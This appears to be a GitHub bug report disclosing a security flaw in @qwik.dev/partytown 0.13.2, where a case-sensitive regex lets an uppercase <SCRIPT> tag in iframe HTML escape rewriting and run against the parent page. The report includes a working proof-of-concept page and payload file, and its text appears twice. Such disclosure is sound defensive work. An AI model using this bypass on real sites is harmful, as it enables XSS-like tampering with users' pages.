Describe the bug
Hi, I found a case-sensitive script tag rewriting bypass in the iframe srcdoc handling path and wanted to share a reproducible report.
Summary
@qwik.dev/partytown rewrites scripts from HTML loaded through the worker-side HTMLIFrameElement.src path before placing that HTML into an iframe srcdoc.
In the current implementation, the script start tag is matched with a case-sensitive regular expression:
const SCRIPT_TAG_REGEXP = new RegExp(`<script\\s*((${ATTR_REGEXP_STR}\\s*)*)>`, "mg");
Because the regex does not use the i flag, it matches lowercase <script> but does not match valid HTML case variants such as <SCRIPT> or <ScRiPt>. As a result, those script tags are not rewritten to type="text/partytown" and can execute as normal JavaScript after the HTML is written into srcdoc.
This code path appears to rely on script tag rewriting to prevent iframe HTML scripts from executing as ordinary JavaScript, but case variants bypass that rewriting.
Affected Scenario / Preconditions
The issue is relevant when all of the following are true:
- A page uses
@qwik.dev/partytown.
- Code running in the Partytown worker environment creates or controls an iframe and sets
iframe.src.
- The iframe URL response can be read by Partytown's worker-side XHR.
- Same-origin URLs are typically readable.
- Cross-origin URLs may also be readable if CORS allows it.
- Ordinary cross-origin URLs without CORS are generally blocked by the browser before this rewrite path can process the response.
- The HTML response contains a script tag using an HTML-valid case variant such as
<SCRIPT>.
Security Impact
In the affected path, Partytown fetches the iframe HTML, rewrites matching script tags, and writes the result into srcdoc.
When a script tag is written as <SCRIPT>, the regex does not match it. The tag remains unchanged in srcdoc and is executed by the browser as a normal script.
In same-origin or equivalent-access scenarios, the executed script can access parent.document. In my local reproduction, the payload inside the iframe successfully modified the parent page DOM:
parent.document.body.dataset.payloadExecuted = "uppercase";
parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";
This means the practical impact is not limited to script execution inside an isolated iframe. If an attacker can influence the iframe HTML response in an affected application, the bypass may allow DOM manipulation of the embedding page, which can lead to XSS-like impact such as reading/modifying page content, changing forms or links, or performing same-origin actions in the user's browser context depending on the application.
PoC
I created a local reproduction against:
@qwik.dev/partytown@0.13.2
Main page
The main page loads Partytown and runs this code inside a type="text/partytown" script, ensuring that the worker-side iframe src setter path is exercised:
<script type="text/partytown">
(function pollAndRun() {
const kind = document.body && document.body.dataset ? document.body.dataset.ptCase : "";
if (kind) {
document.body.dataset.ptCase = "";
document.body.dataset.workerStage = "observed:" + kind;
const frame = document.createElement("iframe");
frame.id = "pt-target-frame";
frame.addEventListener("load", function () {
try {
const srcdoc = frame.srcdoc || "";
document.body.dataset.workerStage = "iframe-loaded";
document.body.dataset.srcdocLength = String(srcdoc.length);
document.getElementById("srcdocPreview").textContent = srcdoc;
} catch (err) {
document.body.dataset.workerStage = "iframe-load-error:" + String(err);
}
});
document.body.appendChild(frame);
document.body.dataset.workerStage = "iframe-created";
frame.src = kind === "lowercase" ? "/control-lowercase.html" : "/evil-uppercase.html";
document.body.dataset.workerStage = "src-set";
}
setTimeout(pollAndRun, 100);
}());
</script>
Control case: lowercase <script> is rewritten
control-lowercase.html:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>lowercase script control</title>
</head>
<body>
<h2>lowercase control page</h2>
<script>
parent.document.body.dataset.payloadExecuted = "lowercase";
parent.document.getElementById("payloadResult").textContent = "lowercase payload executed";
</script>
</body>
</html>
Observed result:
- The iframe reaches
iframe-loaded.
srcdocPreview shows the script was rewritten to include type="text/partytown".
This confirms the rewrite path is active for normal lowercase <script>.
Bypass case: uppercase <SCRIPT> is not rewritten
evil-uppercase.html:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>uppercase script payload</title>
</head>
<body>
<h2>uppercase payload page</h2>
<SCRIPT>
parent.document.body.dataset.payloadExecuted = "uppercase";
parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";
</SCRIPT>
</body>
</html>
Observed result:
Current status: payload executed
Payload result: uppercase payload executed
State snapshot:
{
"requestedCase": "",
"workerStage": "iframe-loaded",
"payloadExecuted": "uppercase",
"iframePresent": true,
"payloadResult": "uppercase payload executed"
}
The srcdocPreview still contains the original uppercase script tag:
<SCRIPT>
parent.document.body.dataset.payloadExecuted = "uppercase";
parent.document.getElementById("payloadResult").textContent = "uppercase payload executed";
</SCRIPT>
This demonstrates that the uppercase tag bypasses rewriting and executes as ordinary JavaScript.
Expected Behavior
Script tags in iframe HTML should be handled consistently regardless of HTML tag-name casing. If Partytown intends to rewrite script tags before writing iframe HTML into srcdoc, then <SCRIPT>, <ScRiPt>, and other valid case variants should not remain executable as normal JavaScript.
Actual Behavior
Lowercase <script> tags are rewritten to type="text/partytown", but uppercase <SCRIPT> tags are not matched by SCRIPT_TAG_REGEXP, remain unchanged in srcdoc, and execute normally.
Reproduction
https://github.com/WiiiiillYeng/partytown_reproduction
Steps to reproduce
@qwik.dev/partytown script tag case PoC
Files
index.html: main verification page
control-lowercase.html: control payload using normal lowercase <script>
evil-uppercase.html: payload using uppercase <SCRIPT>
server.cjs: minimal local static server with COOP and COEP headers so crossOriginIsolated can become true
- Change the PARTYTOWN_LIB variable to your partytown/lib path.
How to run
- In this directory, run
node server.cjs
- Open
http://127.0.0.1:8123/
- Confirm the page shows
crossOriginIsolated: true
- Click
Run lowercase <script> control
- Confirm
Payload result stays waiting and srcdocPreview contains type="text/partytown"
- Click
Run uppercase <SCRIPT> case
What indicates the bypass is real
Current status advances beyond requested:* into observed:*, iframe-created, src-set, or iframe-loaded
- The lowercase control is rewritten to
type="text/partytown" and does not execute as a normal script
srcdocPreview still contains an unmodified uppercase <SCRIPT> tag
Helpful DevTools checks
window.crossOriginIsolated
document.getElementById("srcdocPreview").textContent
ScreenShots
Browser Info
Edge
Additional Information
No response
Describe the bug
Hi, I found a case-sensitive script tag rewriting bypass in the iframe srcdoc handling path and wanted to share a reproducible report.
Summary
@qwik.dev/partytownrewrites scripts from HTML loaded through the worker-sideHTMLIFrameElement.srcpath before placing that HTML into an iframesrcdoc.In the current implementation, the script start tag is matched with a case-sensitive regular expression:
Because the regex does not use the
iflag, it matches lowercase<script>but does not match valid HTML case variants such as<SCRIPT>or<ScRiPt>. As a result, those script tags are not rewritten totype="text/partytown"and can execute as normal JavaScript after the HTML is written intosrcdoc.This code path appears to rely on script tag rewriting to prevent iframe HTML scripts from executing as ordinary JavaScript, but case variants bypass that rewriting.
Affected Scenario / Preconditions
The issue is relevant when all of the following are true:
@qwik.dev/partytown.iframe.src.<SCRIPT>.Security Impact
In the affected path, Partytown fetches the iframe HTML, rewrites matching script tags, and writes the result into
srcdoc.When a script tag is written as
<SCRIPT>, the regex does not match it. The tag remains unchanged insrcdocand is executed by the browser as a normal script.In same-origin or equivalent-access scenarios, the executed script can access
parent.document. In my local reproduction, the payload inside the iframe successfully modified the parent page DOM:This means the practical impact is not limited to script execution inside an isolated iframe. If an attacker can influence the iframe HTML response in an affected application, the bypass may allow DOM manipulation of the embedding page, which can lead to XSS-like impact such as reading/modifying page content, changing forms or links, or performing same-origin actions in the user's browser context depending on the application.
PoC
I created a local reproduction against:
Main page
The main page loads Partytown and runs this code inside a
type="text/partytown"script, ensuring that the worker-side iframesrcsetter path is exercised:Control case: lowercase
<script>is rewrittencontrol-lowercase.html:Observed result:
iframe-loaded.srcdocPreviewshows the script was rewritten to includetype="text/partytown".This confirms the rewrite path is active for normal lowercase
<script>.Bypass case: uppercase
<SCRIPT>is not rewrittenevil-uppercase.html:Observed result:
State snapshot:
{ "requestedCase": "", "workerStage": "iframe-loaded", "payloadExecuted": "uppercase", "iframePresent": true, "payloadResult": "uppercase payload executed" }The
srcdocPreviewstill contains the original uppercase script tag:This demonstrates that the uppercase tag bypasses rewriting and executes as ordinary JavaScript.
Expected Behavior
Script tags in iframe HTML should be handled consistently regardless of HTML tag-name casing. If Partytown intends to rewrite script tags before writing iframe HTML into
srcdoc, then<SCRIPT>,<ScRiPt>, and other valid case variants should not remain executable as normal JavaScript.Actual Behavior
Lowercase
<script>tags are rewritten totype="text/partytown", but uppercase<SCRIPT>tags are not matched bySCRIPT_TAG_REGEXP, remain unchanged insrcdoc, and execute normally.Reproduction
https://github.com/WiiiiillYeng/partytown_reproduction
Steps to reproduce
@qwik.dev/partytown script tag case PoC
Files
index.html: main verification pagecontrol-lowercase.html: control payload using normal lowercase<script>evil-uppercase.html: payload using uppercase<SCRIPT>server.cjs: minimal local static server with COOP and COEP headers socrossOriginIsolatedcan becometrueHow to run
node server.cjshttp://127.0.0.1:8123/crossOriginIsolated: trueRun lowercase <script> controlPayload resultstayswaitingandsrcdocPreviewcontainstype="text/partytown"Run uppercase <SCRIPT> caseWhat indicates the bypass is real
Current statusadvances beyondrequested:*intoobserved:*,iframe-created,src-set, oriframe-loadedtype="text/partytown"and does not execute as a normal scriptsrcdocPreviewstill contains an unmodified uppercase<SCRIPT>tagHelpful DevTools checks
ScreenShots
Browser Info
Edge
Additional Information
No response